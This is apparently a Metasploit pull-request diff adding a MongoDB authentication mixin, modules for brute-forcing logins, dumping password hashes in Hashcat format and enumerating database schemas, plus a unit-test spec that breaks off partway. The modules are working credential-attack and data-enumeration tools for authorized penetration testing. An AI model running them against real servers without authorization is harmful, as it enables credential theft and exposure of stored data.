command, bad syntax, ...) is not treated as an + # auth error, since that would misclassify servers and trigger + # pointless brute forcing. + def mongodb_have_auth_error?(response) + return true if response.nil? || response.length <= 36 + + doc = mongodb_parse_doc(response) + if doc + return true if AUTH_ERROR_CODES.include?(doc['code'].to_i) + return true if doc['codeName'] && AUTH_ERROR_CODENAMES.include?(doc['codeName']) + + errmsg = doc['errmsg'].to_s.downcase + return true if AUTH_ERROR_MESSAGES.any? { |msg| errmsg.include?(msg) } + else + # Unparseable body: search the raw bytes for the same auth phrases + # rather than treating any error text as an auth failure. + raw = response[36..].to_s.downcase + return true if AUTH_ERROR_MESSAGES.any? { |msg| raw.include?(msg) } + end + + false + end + + # Probes the server with an unauthenticated listDatabases command to see + # whether it enforces authentication before serving commands. + # + # @return [Boolean] true when the server demands authentication + def require_auth? + cmd = BSON::Document.new({ 'listDatabases' => BSON::Int32.new(1) }) + sock.put(mongodb_build_packet('admin.$cmd', cmd.to_bson.to_s)) + mongodb_have_auth_error?(mongodb_read_message(sock, 5)) + end + + # Authenticates against the server: SCRAM-SHA-1 first (MongoDB 3.0+), + # falling back to legacy MONGODB-CR (MongoDB < 3.0) when SCRAM is not + # accepted. This is the single authentication entry point shared by all + # MongoDB modules; do not reimplement the handshakes per module. + # + # @param user [String] username; defaults to the USERNAME option + # @param pass [String] password; defaults to the PASSWORD option + # @param db [String] authentication database; defaults to the AUTH_DB option + # @return [String, nil] the mechanism that succeeded ('SCRAM-SHA-1' or + # 'MONGODB-CR'), or nil on failure + def authenticate(user: datastore['USERNAME'], pass: datastore['PASSWORD'], db: datastore['AUTH_DB']) + mechanism = mongodb_auth_scram_sha1(user, pass, db) + return mechanism if mechanism + + vprint_status('SCRAM-SHA-1 not accepted or failed; trying MONGODB-CR fallback...') + nonce = mongodb_get_nonce(db) + return nil if nonce.blank? + + mongodb_auth_cr(user, pass, db, nonce) + end + + private + + # Sends a one-shot command document and parses its single reply document. + # + # @param db [String] database the command runs against + # @param cmd [BSON::Document] command document + # @return [BSON::Document, nil] + def mongodb_command(db, cmd) + sock.put(mongodb_build_packet("#{db}.$cmd", cmd.to_bson.to_s)) + mongodb_parse_doc(mongodb_read_message(sock, 5)) + end + + # SCRAM-SHA-1 SASL handshake (MongoDB 3.0+): saslStart, the RFC 5802 + # client proof, saslContinue, and a final empty saslContinue for servers + # that leave the conversation open with done: false. + # + # @param (see #authenticate) + # @return ['SCRAM-SHA-1', nil] the mechanism name on success + def mongodb_auth_scram_sha1(user, pass, db) + scram_user = mongodb_encode_scram_username(user) + if scram_user.nil? + vprint_error("Skipping user '#{user}': SCRAM usernames cannot contain a nul byte") + return nil + end + + # The MONGODB-CR style password digest uses the raw username; only the + # SCRAM wire payload needs the RFC 5802 escaping. + digest_pass = Digest::MD5.hexdigest("#{user}:mongo:#{pass}") + + client_nonce = Rex::Text.rand_text_alphanumeric(24) + auth_payload = "n=#{scram_user},r=#{client_nonce}" + client_first_bare = auth_payload + client_first_message = "n,,#{auth_payload}" + + sasl_start_cmd = BSON::Document.new({ + 'saslStart' => BSON::Int32.new(1), + 'mechanism' => 'SCRAM-SHA-1', + 'payload' => BSON::Binary.new(client_first_message) + }) + + reply = mongodb_command(db, sasl_start_cmd) + return nil unless reply && reply['ok'].to_i == 1 + + conversation_id = reply['conversationId'] + server_payload = reply['payload'].data + server_vars = mongodb_parse_scram_payload(server_payload) + + server_nonce = server_vars['r'] + salt = Rex::Text.decode_base64(server_vars['s']) + iterations = server_vars['i'].to_i + + salted_password = OpenSSL::PKCS5.pbkdf2_hmac( + digest_pass, + salt, + iterations, + 20, + OpenSSL::Digest.new('SHA1') + ) + + client_key = OpenSSL::HMAC.digest('sha1', salted_password, 'Client Key') + stored_key = OpenSSL::Digest::SHA1.digest(client_key) + client_final_without_proof = "c=biws,r=#{server_nonce}" + auth_message = "#{client_first_bare},#{server_payload},#{client_final_without_proof}" + + client_signature = OpenSSL::HMAC.digest('sha1', stored_key, auth_message) + client_proof = Rex::Text.xor(client_key, client_signature) + client_final_message = "#{client_final_without_proof},p=#{Rex::Text.encode_base64(client_proof)}" + + conv_id_bson = conversation_id.is_a?(Integer) ? BSON::Int32.new(conversation_id) : conversation_id + + sasl_continue_cmd = BSON::Document.new({ + 'saslContinue' => BSON::Int32.new(1), + 'conversationId' => conv_id_bson, + 'payload' => BSON::Binary.new(client_final_message) + }) + + reply = mongodb_command(db, sasl_continue_cmd) + + # Some servers leave the SASL conversation open (done: false) and + # expect one more empty saslContinue before the session is + # authenticated. + if reply && reply['ok'].to_i == 1 && reply['done'] == false + final_cmd = BSON::Document.new({ + 'saslContinue' => BSON::Int32.new(1), + 'conversationId' => conv_id_bson, + 'payload' => BSON::Binary.new('') + }) + reply = mongodb_command(db, final_cmd) + end + + return 'SCRAM-SHA-1' if reply && reply['ok'].to_i == 1 + + vprint_error("SCRAM-SHA-1 authentication failed for '#{user}' on '#{db}'") + nil + rescue StandardError => e + vprint_error("SCRAM-SHA-1 exception: #{e.message}") + nil + end + + # Legacy MONGODB-CR handshake (MongoDB < 3.0): getnonce followed by an + # authenticate command keyed with MD5(nonce + user + MD5(user:mongo:pass)). + # + # @param nonce [String] nonce obtained from #mongodb_get_nonce + # @return ['MONGODB-CR', nil] the mechanism name on success + def mongodb_auth_cr(user, pass, db, nonce) + key = Rex::Text.md5(nonce + user + Rex::Text.md5("#{user}:mongo:#{pass}")) + + cmd = BSON::Document.new({ + 'authenticate' => BSON::Int32.new(1), + 'user' => user, + 'nonce' => nonce, + 'key' => key + }) + + reply = mongodb_command(db, cmd) + return 'MONGODB-CR' if reply && reply['ok'].to_i == 1 + + vprint_error("MONGODB-CR authentication failed for '#{user}' on '#{db}'") + nil + rescue StandardError => e + vprint_error("MONGODB-CR exception: #{e.message}") + nil + end + + # Fetches a legacy MONGODB-CR nonce. MongoDB 3.0+ removed getnonce, so an + # empty return naturally suppresses the CR fallback on modern servers. + # + # @return [String] the nonce, or '' when the server does not support it + def mongodb_get_nonce(db) + reply = mongodb_command(db, BSON::Document.new({ 'getnonce' => BSON::Int32.new(1) })) + reply && reply['ok'].to_i == 1 ? reply['nonce'].to_s : '' + end + end +end diff --git a/modules/auxiliary/scanner/mongodb/mongodb_hashdump.rb b/modules/auxiliary/scanner/mongodb/mongodb_hashdump.rb new file mode 100644 index 0000000000000..7ca6230e027d4 --- /dev/null +++ b/modules/auxiliary/scanner/mongodb/mongodb_hashdump.rb @@ -0,0 +1,283 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'bson' +require 'openssl' +require 'digest' +require 'base64' + +class MetasploitModule < Msf::Auxiliary + include Msf::Exploit::Remote::Mongodb + include Msf::Auxiliary::Report + include Msf::Auxiliary::Scanner + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'MongoDB Hash Extractor', + 'Description' => %q{ + This module extracts password hashes from a MongoDB instance and stores + them in the database for later cracking. By default, it dumps system user + credentials from the 'system.users' collection. Alternatively, + it can dump application user hashes from a specified collection. + On MongoDB 3.0+ all users are stored in admin.system.users regardless + of their authentication database, so the default DB of 'admin' is + normally correct, and the querying user needs privileges + (root, userAdminAnyDatabase, readAnyDatabase) to read them. + + The dumped SCRAM hashes are formatted for Hashcat mode 24100 (SCRAM-SHA-1) + and 24200 (SCRAM-SHA-256), but are not yet wired into Metasploit's + auxiliary/analyze cracking modules -- use hashcat directly against the + exported hash, or 'creds -o' to export it, for now. + Successfully tested against MongoDB 3.6 with and without authentication + }, + 'References' => [ + [ 'URL', 'https://docs.mongodb.com/manual/reference/mongodb-wire-protocol/' ], + [ 'URL', 'https://github.com/mongodb/specifications/blob/master/source/auth/auth.rst/' ], + [ 'URL', 'https://hashcat.net/wiki/doku.php?id=example_hashes' ] + ], + 'Author' => [ + 'h00die', + 'prithvee07' + ], + 'License' => MSF_LICENSE, + 'Notes' => { + 'Reliability' => [], + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [IOC_IN_LOGS] + } + ) + ) + + register_options( + [ + Opt::RPORT(27017), + OptString.new('DB', [ true, 'Database to query', 'admin']), + OptString.new('COLLECTION', [ false, 'Custom collection to dump (if empty, dumps system.users)', '']), + OptString.new('USER_FIELD', [ false, 'Username field name for custom collection', 'username']), + OptString.new('HASH_FIELD', [ false, 'Hash field name for custom collection', 'hash']) + ] + ) + end + + def run_host(_ip) + connect + + if require_auth? + user = datastore['USERNAME'] + pass = datastore['PASSWORD'] + if user.blank? || pass.blank? + print_error('Authentication required but no USERNAME/PASSWORD provided') + return + end + + print_status("Authentication required, attempting login as '#{user}'...") + mechanism = authenticate(user: user, pass: pass, db: datastore['AUTH_DB']) + if mechanism + print_good("Successfully authenticated via #{mechanism}") + report_cred( + ip: rhost, + port: rport, + service_name: 'mongodb', + user: user, + password: pass, + proof: "authenticated via #{mechanism}" + ) + else + print_error('Login failed') + return + end + else + print_good('No authentication required') + end + + if datastore['COLLECTION'].blank? + dump_system_users + else + dump_app_users + end + rescue StandardError => e + print_error("Unable to connect: #{e}") + ensure + disconnect + end + + def dump_system_users + db = datastore['DB'] + print_status("Dumping MongoDB system users from #{db}.system.users...") + + # numberToReturn 0 lets the server pick its default batch size and keeps + # the cursor open; mongodb_query_all drains it with getMore so users past + # the first batch are also dumped. + cmd = BSON::Document.new({}) + docs = mongodb_query_all(sock, "#{db}.system.users", cmd.to_bson.to_s, timeout: 10) + + if (error = mongodb_query_error(docs)) + print_error("Query on #{db}.system.users failed: #{error}") + if db != 'admin' + print_error('On MongoDB 3.0+ users live in admin.system.users no matter which database') + print_error('they authenticate against, and only privileged users can read it. Re-run with') + print_error('DB=admin and a user holding root / userAdminAnyDatabase / readAnyDatabase.') + end + return + end + + if docs.empty? && db != 'admin' + # MongoDB 3.0+ keeps every user in admin.system.users; fall back to it + # when the configured database has no system.users collection of its own. + print_status("#{db}.system.users is empty, falling back to admin.system.users...") + docs = mongodb_query_all(sock, 'admin.system.users', cmd.to_bson.to_s, timeout: 10) + if (error = mongodb_query_error(docs)) + print_error("Query on admin.system.users failed: #{error}") + return + end + end + + if docs.empty? + print_warning('No users found or unable to parse') + return + end + + tbl = Rex::Text::Table.new( + 'Header' => 'MongoDB System Hashes', + 'Columns' => ['Type', 'Username', 'Hash'] + ) + + service_data = { + address: ::Rex::Socket.getaddress(rhost, true), + port: rport, + service_name: 'mongodb', + protocol: 'tcp', + workspace_id: myworkspace_id + } + + docs.each do |doc| + user = doc['user'] + creds = doc['credentials'] || {} + + # SCRAM-SHA-1 (Hashcat 24100) + if creds['SCRAM-SHA-1'] + s1 = creds['SCRAM-SHA-1'] + b64_user = Base64.strict_encode64(user) + hash = "$mongodb-scram$*0*#{b64_user}*#{s1['iterationCount']}*#{s1['salt']}*#{s1['serverKey']}" + tbl << ['db (SCRAM-SHA-1)', user, hash] + + store_hash_credential(service_data, user, hash, 'mongodb-scram-sha1') + end + + # SCRAM-SHA-256 (Hashcat 24200) + if creds['SCRAM-SHA-256'] + s256 = creds['SCRAM-SHA-256'] + b64_user = Base64.strict_encode64(user) + hash = "$mongodb-scram$*1*#{b64_user}*#{s256['iterationCount']}*#{s256['salt']}*#{s256['serverKey']}" + tbl << ['db (SCRAM-SHA-256)', user, hash] + + store_hash_credential(service_data, user, hash, 'mongodb-scram-sha256') + end + + # MONGODB-CR Legacy (Plain MD5) + next unless doc['pwd'] && !creds.key?('SCRAM-SHA-1') && !creds.key?('SCRAM-SHA-256') + + hash = doc['pwd'] + tbl << ['db (MONGODB-CR)', user, hash] + + store_hash_credential(service_data, user, hash, 'md5') + end + + print_good("\n#{tbl}") + end + + def dump_app_users + coll = datastore['COLLECTION'] + user_field = datastore['USER_FIELD'] + hash_field = datastore['HASH_FIELD'] + db = datastore['DB'] + + print_status("Dumping app hashes from #{db}.#{coll} (Field: #{user_field}:#{hash_field})...") + + cmd = BSON::Document.new({ + hash_field => { '$exists' => true, '$ne' => '' } + }) + docs = mongodb_query_all(sock, "#{db}.#{coll}", cmd.to_bson.to_s, timeout: 10) + + if (error = mongodb_query_error(docs)) + print_error("Query on #{db}.#{coll} failed: #{error}") + return + end + + if docs.empty? + print_warning('No users found or unable to parse') + return + end + + tbl = Rex::Text::Table.new( + 'Header' => 'MongoDB Application Hashes', + 'Columns' => ['Type', 'Username', 'Hash'] + ) + + service_data = { + address: ::Rex::Socket.getaddress(rhost, true), + port: rport, + service_name: 'mongodb', + protocol: 'tcp', + workspace_id: myworkspace_id + } + + docs.each do |doc| + user = doc[user_field].to_s + hash = doc[hash_field].to_s + + next if user.blank? || hash.blank? + + tbl << ['app', user, hash] + + store_hash_credential(service_data, user, hash) + end + + print_good("\n#{tbl}") + end + + def store_hash_credential(service_data, username, hash, jtr_format = nil) + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: username, + private_data: hash, + private_type: :nonreplayable_hash + } + credential_data[:jtr_format] = jtr_format if jtr_format + credential_data.merge!(service_data) + + create_credential(credential_data) + end + + def report_cred(opts) + service_data = { + address: opts[:ip], + port: opts[:port], + service_name: opts[:service_name], + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: opts[:user], + private_data: opts[:password], + private_type: :password + }.merge(service_data) + + login_data = { + last_attempted_at: Time.now, + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::SUCCESSFUL, + proof: opts[:proof] + }.merge(service_data) + + create_credential_login(login_data) + end +end diff --git a/modules/auxiliary/scanner/mongodb/mongodb_login.rb b/modules/auxiliary/scanner/mongodb/mongodb_login.rb index 41d5f091eb882..02b695f55b50b 100644 --- a/modules/auxiliary/scanner/mongodb/mongodb_login.rb +++ b/modules/auxiliary/scanner/mongodb/mongodb_login.rb @@ -3,11 +3,15 @@ # Current source: https://github.com/rapid7/metasploit-framework ## +require 'bson' +require 'openssl' +require 'digest' + class MetasploitModule < Msf::Auxiliary + include Msf::Exploit::Remote::Mongodb include Msf::Auxiliary::Report include Msf::Auxiliary::AuthBrute include Msf::Auxiliary::Scanner - include Msf::Exploit::Remote::Tcp def initialize(info = {}) super( @@ -16,125 +20,101 @@ def initialize(info = {}) 'Name' => 'MongoDB Login Utility', 'Description' => %q{ This module attempts to brute force authentication credentials for MongoDB. - Note that, by default, MongoDB does not require authentication. + It supports both SCRAM-SHA-1 (MongoDB 3.0+) and falls back to legacy + MONGODB-CR authentication if SCRAM is unsupported by the target server. }, 'References' => [ [ 'URL', 'https://docs.mongodb.com/manual/reference/mongodb-wire-protocol/' ], [ 'URL', 'https://github.com/mongodb/specifications/blob/master/source/auth/auth.rst/' ] ], - 'Author' => [ 'Gregory Man ' ], + 'Author' => [ + 'Gregory Man ', + 'h00die', # SCRAM and updating compatibility for MongoDB 3.0+ and later + 'prithvee07' + ], 'License' => MSF_LICENSE, 'Notes' => { - 'Reliability' => UNKNOWN_RELIABILITY, - 'Stability' => UNKNOWN_STABILITY, - 'SideEffects' => UNKNOWN_SIDE_EFFECTS + 'Reliability' => [], + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [IOC_IN_LOGS, ACCOUNT_LOCKOUTS] } ) ) - - register_options( - [ - Opt::RPORT(27017), - OptString.new('DB', [ true, "Database to use", "admin"]) - ] - ) end def run_host(ip) - print_status("Scanning IP: #{ip.to_s}") + print_status("Scanning IP: #{ip}") begin connect + + version = get_version + ver_info = version ? " (version #{version})" : '' + if require_auth? - each_user_pass { |user, pass| + print_status("Mongo server#{ver_info} requires authentication") + each_user_pass do |user, pass| do_login(user, pass) - } + end else report_vuln( - :host => rhost, - :port => rport, - :name => "MongoDB No Authentication", - :refs => self.references, - :exploited_at => Time.now.utc, - :info => "Mongo server has no authentication." + host: rhost, + port: rport, + name: 'MongoDB No Authentication', + refs: references, + exploited_at: Time.now.utc, + info: "Mongo server has no authentication.#{ver_info}" ) - print_good("Mongo server #{ip.to_s} doesn't use authentication") + print_good("Mongo server #{ip}#{ver_info} doesn't use authentication") end disconnect - rescue ::Exception => e - print_error "Unable to connect: #{e.to_s}" + rescue StandardError => e + print_error "Unable to connect: #{e}" + ensure + disconnect return end end - def require_auth? - request_id = Rex::Text.rand_text(4) - packet = "\x3f\x00\x00\x00" # messageLength (63) - packet << request_id # requestID - packet << "\xff\xff\xff\xff" # responseTo - packet << "\xd4\x07\x00\x00" # opCode (2004 OP_QUERY) - packet << "\x00\x00\x00\x00" # flags - packet << "\x61\x64\x6d\x69\x6e\x2e\x24\x63\x6d\x64\x00" # fullCollectionName (admin.$cmd) - packet << "\x00\x00\x00\x00" # numberToSkip (0) - packet << "\x01\x00\x00\x00" # numberToReturn (1) - # query ({"listDatabases"=>1}) - packet << "\x18\x00\x00\x00\x10\x6c\x69\x73\x74\x44\x61\x74\x61\x62\x61\x73\x65\x73\x00\x01\x00\x00\x00\x00" - - sock.put(packet) - response = sock.recv(1024) - - have_auth_error?(response) + def get_version + cmd = BSON::Document.new({ 'buildInfo' => BSON::Int32.new(1) }) + pkt = mongodb_build_packet('admin.$cmd', cmd.to_bson.to_s) + + sock.put(pkt) + resp = mongodb_read_message(sock, 5) + + doc = mongodb_parse_doc(resp) + return nil unless doc && doc['version'] + + version_str = doc['version'] + report_service( + host: rhost, + port: rport, + name: 'mongodb', + proto: 'tcp', + info: "MongoDB #{version_str}" + ) + version_str + rescue StandardError => e + vprint_error("Failed to parse version from buildInfo: #{e.message}") + nil end def do_login(user, password) vprint_status("Trying user: #{user}, password: #{password}") - nonce = get_nonce - status = auth(user, password, nonce) - return status - end - - def auth(user, password, nonce) - request_id = Rex::Text.rand_text(4) - packet = request_id # requestID - packet << "\xff\xff\xff\xff" # responseTo - packet << "\xd4\x07\x00\x00" # opCode (2004 OP_QUERY) - packet << "\x00\x00\x00\x00" # flags - packet << datastore['DB'] + ".$cmd" + "\x00" # fullCollectionName (DB.$cmd) - packet << "\x00\x00\x00\x00" # numberToSkip (0) - packet << "\xff\xff\xff\xff" # numberToReturn (1) - - # {"authenticate"=>1.0, "user"=>"root", "nonce"=>"94e963f5b7c35146", "key"=>"61829b88ee2f8b95ce789214d1d4f175"} - document = "\x01\x61\x75\x74\x68\x65\x6e\x74\x69\x63\x61\x74\x65" - document << "\x00\x00\x00\x00\x00\x00\x00\xf0\x3f\x02\x75\x73\x65\x72\x00" - document << [user.length + 1].pack("L") # +1 due null byte termination - document << user + "\x00" - document << "\x02\x6e\x6f\x6e\x63\x65\x00\x11\x00\x00\x00" - document << nonce + "\x00" - document << "\x02\x6b\x65\x79\x00\x21\x00\x00\x00" - document << Rex::Text.md5(nonce + user + Rex::Text.md5(user + ":mongo:" + password)) + "\x00" - document << "\x00" - # Calculate document length - document.insert(0, [document.length + 4].pack("L")) - - packet += document - - # Calculate messageLength - packet.insert(0, [(packet.length + 4)].pack("L")) # messageLength - sock.put(packet) - response = sock.recv(1024) - unless have_auth_error?(response) - print_good("#{rhost} - SUCCESSFUL LOGIN '#{user}' : '#{password}'") - report_cred( - ip: rhost, - port: rport, - service_name: 'mongodb', - user: user, - password: password, - proof: response.inspect - ) - return :next_user - end - return + mechanism = authenticate(user: user, pass: password) + return nil unless mechanism + + print_good("#{rhost} - SUCCESSFUL LOGIN '#{user}' : '#{password}' (#{mechanism})") + report_cred( + ip: rhost, + port: rport, + service_name: 'mongodb', + user: user, + password: password, + proof: "authenticated via #{mechanism}" + ) + :next_user end def report_cred(opts) @@ -163,36 +143,4 @@ def report_cred(opts) create_credential_login(login_data) end - - def get_nonce - request_id = Rex::Text.rand_text(4) - packet = "\x3d\x00\x00\x00" # messageLength (61) - packet << request_id # requestID - packet << "\xff\xff\xff\xff" # responseTo - packet << "\xd4\x07\x00\x00" # opCode (2004 OP_QUERY) - packet << "\x00\x00\x00\x00" # flags - packet << "\x74\x65\x73\x74\x2e\x24\x63\x6d\x64\x00" # fullCollectionName (test.$cmd) - packet << "\x00\x00\x00\x00" # numberToSkip (0) - packet << "\x01\x00\x00\x00" # numberToReturn (1) - # query {"getnonce"=>1.0} - packet << "\x17\x00\x00\x00\x01\x67\x65\x74\x6e\x6f\x6e\x63\x65\x00\x00\x00\x00\x00\x00\x00\xf0\x3f\x00" - - sock.put(packet) - response = sock.recv(1024) - documents = response[36..1024] - # {"nonce"=>"f785bb0ea5edb3ff", "ok"=>1.0} - nonce = documents[15..30] - end - - def have_auth_error?(response) - # Response header 36 bytes long - documents = response[36..1024] - # {"errmsg"=>"auth fails", "ok"=>0.0} - # {"errmsg"=>"need to login", "ok"=>0.0} - if documents.include?('errmsg') - return true - else - return false - end - end end diff --git a/modules/auxiliary/scanner/mongodb/mongodb_schemadump.rb b/modules/auxiliary/scanner/mongodb/mongodb_schemadump.rb new file mode 100644 index 0000000000000..75e14692289c8 --- /dev/null +++ b/modules/auxiliary/scanner/mongodb/mongodb_schemadump.rb @@ -0,0 +1,208 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'bson' +require 'openssl' +require 'digest' + +class MetasploitModule < Msf::Auxiliary + include Msf::Exploit::Remote::Mongodb + include Msf::Auxiliary::Report + include Msf::Auxiliary::Scanner + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'MongoDB Schema Enumerator', + 'Description' => %q{ + This module connects to an unauthenticated or authenticated MongoDB instance, + authenticates using SCRAM-SHA-1 if credentials are provided, enumerates + databases and collections via wire protocol, samples documents, and dumps + the inferred schema structure. + + Successfully tested against MongoDB 3.6 with and without authentication + }, + 'Author' => [ + 'h00die', + 'prithvee07' + ], + 'License' => MSF_LICENSE, + 'References' => [ + [ 'URL', 'https://www.mongodb.com/docs/manual/reference/mongodb-wire-protocol/' ] + ], + 'Notes' => { + 'Reliability' => [], + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [IOC_IN_LOGS] + } + ) + ) + + register_options( + [ + OptString.new('DB_NAME', [ false, 'Specific database to enumerate (leave blank for all)', '' ]), + OptInt.new('SAMPLE_SIZE', [ true, 'Number of sample documents to inspect per collection for schema mapping', 5 ]) + ] + ) + end + + def run_host(_ip) + connect + + print_status('Connected to MongoDB wire protocol') + + if datastore['USERNAME'].present? + auth_db = datastore['AUTH_DB'].presence || 'admin' + mechanism = authenticate(db: auth_db) + if mechanism + print_good("Authenticated as '#{datastore['USERNAME']}' on '#{auth_db}' via #{mechanism}") + else + print_error('Stopping scan due to authentication failure.') + return + end + end + + dbs = fetch_databases + if dbs.empty? + if datastore['DB_NAME'].blank? + print_error('Could not retrieve databases.') + return + end + + # listDatabases is a cluster-level command: a database-scoped user + # (e.g. readWrite on a single database) is denied it even though it + # may read that database's collections. With DB_NAME set, skip + # discovery and enumerate that database directly. + print_status('Could not list databases (insufficient privileges?); enumerating DB_NAME directly') + dbs = [datastore['DB_NAME']] + else + print_good("Found Databases: #{dbs.join(', ')}") + end + + schema_report = {} + + dbs.each do |db| + next if datastore['DB_NAME'].present? && datastore['DB_NAME'] != db + + collections = fetch_collections(db) + print_status(" DB '#{db}' Collections: #{collections.join(', ')}") + + schema_report[db] = {} + + collections.each do |coll| + fields = sample_collection_schema(db, coll) + schema_report[db][coll] = fields + + if fields.any? + vprint_good(" Schema for #{db}.#{coll}:") + fields.each { |field, type| vprint_line(" - #{field} (#{type})") } + else + vprint_status(" Collection #{db}.#{coll} is empty or returned no fields.") + end + end + end + + report_json = JSON.pretty_generate(schema_report) + loot_path = store_loot( + 'mongodb.schema', + 'application/json', + rhost, + report_json, + 'mongodb_schema.json', + 'MongoDB Schema Structure' + ) + print_good("Schema dumped to loot: #{loot_path}") + rescue ::Rex::ConnectionError => e + print_error("Connection failed: #{e.message}") + ensure + disconnect + end + + private + + def fetch_databases + cmd = BSON::Document.new({ + 'listDatabases' => BSON::Int32.new(1) + }) + + reply = send_query_single('admin.$cmd', cmd.to_bson.to_s) + vprint_status("Post-auth listDatabases reply: #{reply.inspect}") + + if reply && mongodb_query_error([reply]) + return [] + end + + return [] unless reply && reply['ok'].to_i == 1 && reply['databases'] + + reply['databases'].map { |d| d['name'] } + end + + def fetch_collections(db) + # Construct listCollections as a dynamic BSON Document + cmd = BSON::Document.new({ + 'listCollections' => BSON::Int32.new(1) + }) + + # listCollections returns a command cursor whose firstBatch holds at + # most the server's batch size; mongodb_query_all follows it with getMore + # so databases with more collections than the first batch are fully + # enumerated. + docs = mongodb_query_all(sock, "#{db}.$cmd", cmd.to_bson.to_s) + + if (error = mongodb_query_error(docs)) + print_error("listCollections on #{db} failed: #{error}") + return [] + end + + docs.map { |c| c['name'] }.compact + end + + def sample_collection_schema(db, collection) + empty_query = "\x05\x00\x00\x00\x00" + sample_limit = datastore['SAMPLE_SIZE'] + + docs = send_query_multi("#{db}.#{collection}", empty_query, sample_limit) + return {} if docs.empty? + + # A failed collection query comes back as an error document; without this + # check its fields ($err, code, ok) would pollute the inferred schema. + if (error = mongodb_query_error(docs)) + vprint_error("Query on #{db}.#{collection} failed: #{error}") + return {} + end + + field_map = {} + docs.each do |doc| + extract_fields(doc, '', field_map) + end + + field_map + end + + def extract_fields(hash_or_doc, prefix, map) + hash_or_doc.each do |key, val| + full_key = prefix.empty? ? key.to_s : "#{prefix}.#{key}" + map[full_key] ||= val.class.to_s.demodulize + + if val.is_a?(Hash) || val.is_a?(BSON::Document) + extract_fields(val, full_key, map) + end + end + end + + def send_query_single(full_coll_name, bson_payload) + send_query_multi(full_coll_name, bson_payload, 1).first + end + + def send_query_multi(full_coll_name, bson_payload, number_to_return = 5) + pkt = mongodb_build_packet(full_coll_name, bson_payload, number_to_return: number_to_return) + + sock.put(pkt) + response_raw = mongodb_read_message(sock, 5) + + mongodb_parse_docs(response_raw) + end +end diff --git a/modules/auxiliary/scanner/mongodb/mongodb_version.rb b/modules/auxiliary/scanner/mongodb/mongodb_version.rb new file mode 100644 index 0000000000000..fb36e7b4204e9 --- /dev/null +++ b/modules/auxiliary/scanner/mongodb/mongodb_version.rb @@ -0,0 +1,80 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'bson' + +class MetasploitModule < Msf::Auxiliary + include Msf::Exploit::Remote::Mongodb + include Msf::Auxiliary::Report + include Msf::Auxiliary::Scanner + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'MongoDB Version Detector', + 'Description' => %q{ + This module connects to a MongoDB instance and retrieves the server version + using the buildInfo command. No authentication is required for this command. + + Tested against MongoDB 3.6.23 + }, + 'References' => [ + [ 'URL', 'https://docs.mongodb.com/manual/reference/command/buildInfo/' ] + ], + 'Author' => [ + 'h00die', + 'prithvee07' + ], + 'License' => MSF_LICENSE, + 'Notes' => { + 'Reliability' => [], + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [IOC_IN_LOGS] + } + ) + ) + deregister_options('AUTH_DB', 'USERNAME', 'PASSWORD') + end + + def run_host(_ip) + connect + + version = get_version + if version + print_good("MongoDB version: #{version}") + else + print_warning('Unable to retrieve MongoDB version') + end + rescue StandardError => e + print_error("Connection failed: #{e}") + ensure + disconnect + end + + def get_version + cmd = BSON::Document.new({ 'buildInfo' => BSON::Int32.new(1) }) + pkt = mongodb_build_packet('admin.$cmd', cmd.to_bson.to_s) + + sock.put(pkt) + resp = mongodb_read_message(sock, 5) + + doc = mongodb_parse_doc(resp) + return nil unless doc && doc['version'] + + version_str = doc['version'] + report_service( + host: rhost, + port: rport, + name: 'mongodb', + proto: 'tcp', + info: "MongoDB #{version_str}" + ) + version_str + rescue StandardError => e + vprint_error("Failed to parse version: #{e.message}") + nil + end +end diff --git a/spec/lib/msf/core/exploit/remote/mongodb_spec.rb b/spec/lib/msf/core/exploit/remote/mongodb_spec.rb new file mode 100644 index 0000000000000..0c730bf15f658 --- /dev/null +++ b/spec/lib/msf/core/exploit/remote/mongodb_spec.rb @@ -0,0 +1,587 @@ +# frozen_string_literal: true + +require 'spec_helper' +require 'bson' +require 'msf/core/exploit/remote/mongodb' + +# Scripted socket serving queued response bytes like a TCP stream: each +# get_once returns at most the requested number of bytes (optionally less, +# via segment_size, to force replies to arrive split across reads), and +# everything the module sends is recorded. +class FakeSock + attr_reader :sent + + def initialize(chunks, segment_size: nil) + @incoming = chunks.map(&:to_s).join + @segment_size = segment_size + @sent = [] + end + + def put(data) + @sent << data.b + end + + def get_once(length, _timeout) + return nil if @incoming.empty? + + take = @segment_size ? [@segment_size, length].min : length + chunk = @incoming[0, take] + @incoming = @incoming[chunk.length..] || '' + chunk + end +end + +# Wire-format helpers shared by the describe blocks below. +module MongodbSpecHelpers + # Builds the 36-byte OP_REPLY wire header that precedes the BSON + # documents in a server response (the parsers skip straight past it). + def op_reply_header(body_length, number_returned, cursor_id = 0) + ([36 + body_length].pack('V') + # messageLength + [0xdeadbeef].pack('V') + # requestID + [0].pack('V') + # responseTo + [1].pack('V') + # opCode: OP_REPLY + [8].pack('V') + # responseFlags: AwaitCapable + [cursor_id].pack('Q<') + # cursorID + [0].pack('V') + # startingFrom + [number_returned].pack('V')).b + end + + def op_reply(*documents) + body = documents.map { |doc| doc.to_bson.to_s }.join + op_reply_header(body.length, documents.length) + body + end + + # Splits an OP_QUERY packet into its namespace and command document so + # specs can assert on what the module actually put on the wire. + def parse_op_query(packet) + namespace, rest = packet[20..].split("\x00", 2) + command = BSON::Document.from_bson(BSON::ByteBuffer.new(rest[8..])) + [namespace, command] + end +end + +RSpec.describe Msf::Exploit::Remote::Mongodb do + include_context 'Msf::Simple::Framework' + include MongodbSpecHelpers + + subject do + mod = ::Msf::Exploit.new + mod.extend described_class + mod + end + + before(:each) do + allow(subject).to receive(:framework).and_return(framework) + allow(subject).to receive(:vprint_status) + allow(subject).to receive(:vprint_error) + end + + describe '#mongodb_build_packet' do + let(:bson_payload) { { ismaster: 